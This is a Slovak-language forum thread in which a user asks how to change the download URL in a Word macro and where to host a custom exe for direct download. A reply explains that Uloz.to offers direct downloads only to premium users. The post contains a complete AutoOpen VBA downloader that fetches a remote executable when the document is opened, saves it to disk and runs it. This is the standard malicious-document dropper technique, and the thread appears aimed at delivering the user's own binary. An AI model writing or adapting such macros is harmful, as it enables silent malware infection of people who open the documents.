Potrebujem od váš pomoc . potrebujem ms macro script ktorý stiahne môj exe súbor . mám jeden ktorý funguje ale ked zmenim cestu tak to nefunguje (skúšal som ulozto link a neffungovalo to). toto je script a potrebujem zmeniť cestu :

Sub AutoOpen()

Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://the.earth.li/~sgtatham/putty/0.68/w64/putty.exe", False
xHttp.Send

With bStrm
.Type = 1 '//binary
.Open
.write xHttp.responseBody
.savetofile "putty.exe", 2 '//overwrite
End With

Shell ("putty.exe")

End Sub



no a ja potrebujem nájsť hosting pre môj custom súbor kde to ide direct stahovať alebo zmenit ten script ., prosim poradte mi. diky

//autoeditácia príspevku (15 Okt 2018, 1:27)
ešte dodám príklad čo potrebujem .
zmenit cestu aby to stiahlo súbor na ulozto , napr tento obrázok https://www.ulozto.sk/!BuHGTGOeeoeU/apple-jpg . zmenim cestu na tento odkaz alebo zdroj obrázku a nefunguje to (prepišem aj ulozenie a prikaz shell a nefunguje)

//autoeditácia príspevku (15 Okt 2018, 3:34)
už nemusite , poradil som si

Uloz.to ma direct stahovanie len pre premium uzivatelov. Inak musis cez web, napisat captchu, pockam kym ubehne 30 sekund a az potom stahovat. Ako sam pises, daky vlastny hosting by to vyriesil.